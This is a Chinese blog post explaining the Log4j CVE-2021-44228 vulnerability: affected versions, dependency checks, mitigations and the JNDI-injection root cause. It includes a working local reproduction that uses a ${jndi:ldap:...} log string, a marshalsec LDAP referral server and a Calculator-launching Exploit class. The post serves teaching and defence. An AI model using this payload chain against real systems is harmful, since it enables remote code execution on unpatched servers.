刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?
发生什么事了
Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了。那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全漏洞的公开,使得全世界很多程序员不得不周末加班,有的甚至通宵达旦紧急应对。
漏洞编号为CVE-2021-44228 ,攻击者利用这个新的零日漏洞,可以远程执行恶意代码。
零日漏洞( zero-day )通常是指还没有补丁的安全漏洞。零日漏洞利用(zero-day exploit)的程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水准的一个重要参数。
是否需要应对
首先看看NIST上的官方描述:
Log4j2 在配置、日志消息和参数中使用了 JNDI 功能。如果 Log4j2 的版本 <=2.14.1 ,JNDI 相关功能无法防御攻击者控制的 LDAP 和其他 JNDI 相关端点。控制了日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器上的任意代码。
所以如果你使用了Log4J输出日志,而且版本 <=2.14.1,那么你很可能中招了。不过需要注意的是,Log4J相关的 jar 有好几个,只有使用了 log4j-core
包的程序才需要应对。很多使用了 Spring Boot 的同学,发现依赖库中存在 Log4J 的 jar 包就慌了,其实 spring-boot-starter-logging
依赖的是 log4j-to-slf4j
和 log4j-api
,这两个包不会引入上述漏洞。使用 Spring Boot 小伙伴们可以放心了。
使用 Gradle 的同学可以使用如下命令,检查是否依赖了 log4j-core
,版本是否 <=2.14.1。
./gradlew dependencyInsight --dependency log4j-core
如何应对
一劳永逸的应对办法就是将 Log4J 的版本升级到 2.15.0
或者更高。如果暂时不升级的话,也可以在JVM 系统参数中将 log4j2.formatMsgNoLookups
设置为 true
,也可以避免遭到利用该漏洞的攻击。
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
根本原因是什么
根本原因说白了就是 JNDI 注入,类似以往经常见到了 SQL 注入。阿里的 FastJson 库以前也出现过类似的漏洞。
- 攻击者在攻击者控制的Naming/Directory服务中绑定有效负载(Payload)。
- 攻击者向易受攻击的 JNDI 查找方法注入绝对 URL。
- 应用程序执行查找。
- 应用程序连接到攻击者返回的受控 N/D 服务的有效载荷。
- 应用程序对响应进行解码并触发有效载荷。
如何再现
首先准备任意一个类,模拟恶意代码。如下示例在构造方法中启动了Mac的计算器程序。
Exploit.java
java.lang.Runtime.getRuntime().exec(new String[] { "open", "-a", "Calculator" });
然后使用 Log4j 输出一段日志,利用这个漏洞的前提是日志信息是可以由攻击者控制的,比如在代码中打印了HTTP请求的参数或者Header等等,攻击者可以在请求参数或者Header中输入如下JNDI Url。这里为了方便,直接写在了代码中。
Log4j2Vul.java
logger.info("${jndi:ldap:127.0.0.1/anystring}");
然后我们利用 python 搭建一个简单的 HTTP 服务器,将恶意代码 Exploit.class
暴露出去。
./gradle build
cd build/classes/java/main
python3 -m http.server 7374
然后我们利用 marshalsec 搭建一个 LDAP 服务器。 启动 LDAP 服务器,并将请求重定向到 HTTP 服务器。这就是攻击者控制的 Naming/Directory 服务,这里绑定的有效负载(Payload)就是 Exploit.class
。
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7374/#Exploit 384
现在我们就可以利用这个漏洞,执行恶意代码了。执行以下命令启动 Log4j2Vul
的 main 方法,输出日志。
./gradlew runLog4j2WithJavaExec
复制代码
然后你就会看到 Mac 的计算器被启动了。
具体代码参考: 。代码中还包含了利用 FastJson 漏洞进行 JNDI 注入的示例。
总结
本文介绍了 Log4J 的安全漏洞 CVE-2021-44228,如何应对,安全漏洞的根本原因以及如何再现,并提供了再现代码。
码字不易,如果对你有帮助,请点赞关注加分享,感谢!
刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?相关推荐
- 冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全,赶快收藏吧
大家好,我是冰河~~ 周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞 ...
- Log4j 爆发“核弹级”漏洞、工信部力推开源软件发展、“龙腾计划”启动|开源月报 Vol. 02...
「WeOpen Insight」是腾源会全新推出的"开源趋势与开源洞见"内容专栏,不定期为读者呈现开源圈内的第一手快讯.优质工具盘点等,洞察开源技术发展的风向标,预见未来趋势. P ...
- Apache Log4j任意代码执行漏洞安全风险通告第三次更新
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...
- Apache Log4j 远程代码注入漏洞
漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...
- 一个老中医刚刚公布的额(太强大了 除了教你怎么保健连怎么知生儿生女都有。。。。。。。。。。。。。。。。。。。。。。)
一个老中医刚刚公布的额(太强大了 除了教你怎么保健连怎么知生儿生女都有......................) 2010-02-20 23:47 | (分类:All life ...) ---- ...
- Apache Log4j 远程代码执行漏洞直接让安全圈过年~
在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...
- 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报
整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- Log4j 2再现新漏洞;缺乏资助不是开源软件安全的唯一问题;微软公布 Entity Framework 7.0 计划 | 开源日报
整理 | 宋彤彤 责编 | 屠敏 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...
最新文章
- Diango REST framework 视图继承图
- ecmall开发记录(三)
- maven——pom.xml
- SAP Leonardo机器学习模型重新训练的日志
- Palindrome subsequence HDU - 4632 区间dp|记忆化搜索
- java el ognl_EL和OGNL表达式的区分
- ubuntu共享文件夹文件看不到_实验08:轻松搭建文件夹共享
- solr之搭建企业搜索平台,配置文件详细solrconfig.xml
- SHELL编程传递参数方法详解$# $* $0 $1 $2 $...
- 所有ghost操作系统大全
- 海店湾:劲爆!这款APP的横空出世,是美女们的福利还是潮流?
- 京东商城搜索框特效实现
- 人工神经网络概念梳理与实例演示
- 关于限制同一个IP访问频率和限制用户登录时候输错密码次数限制(超过即限制)
- sklearn:make_blobs聚类数据生成器
- 考虑退化成本的混合储能微电网双层能量管理系统(复现) 提出了一种新型的包含混合ESS的两层微电网EMS。 电力调度的目标是上层的运行成本最小
- 计算机管理中误删用户,win10管理员账户删除了怎么解决?
- ymlm启用root用户
- Qt完成简易闹钟与画板
- 便利蜂2022数据分析秋招一面凉经